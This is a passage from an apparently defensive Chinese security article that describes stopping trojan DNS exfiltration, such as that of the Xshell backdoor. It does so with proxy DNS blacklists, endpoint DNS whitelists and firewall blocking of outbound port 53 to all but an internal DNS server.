ii. 代理专用dns查询黑名单,如匹配则返回禁止解析,如不匹配则进一步向公网dns服务请求结果并返回

iii. 代理专用dns服务器返回结果给web代理,如为黑名单则返回默认警示页面地址

c) Web代理根据dns反馈结果访问公网

2、 禁止终端进行dns解析,仅开放白名单域名解析:

a) 屏蔽pc终端的dns解析(仅允许部分白名单域名解析),如下图:

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

i. 部分未配置http代理的程序请求dns解析,请求发送内网终端专用dns服务器

ii. 终端专用dns服务器查询白名单,如在白名单(例baidu.com等),则进一步向公网dns查询并返回结果,如不是白名单则返回无法解析

b) 固定pc的dns服务器配置并屏蔽pc到其他dns服务器的53端口访问,防止恶意程序自定义dns配置,如下图:

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

i. 通过防火墙等措施封闭终端出去的53端口(dns专用端口),仅开通到内网终端专用dns服务器的解析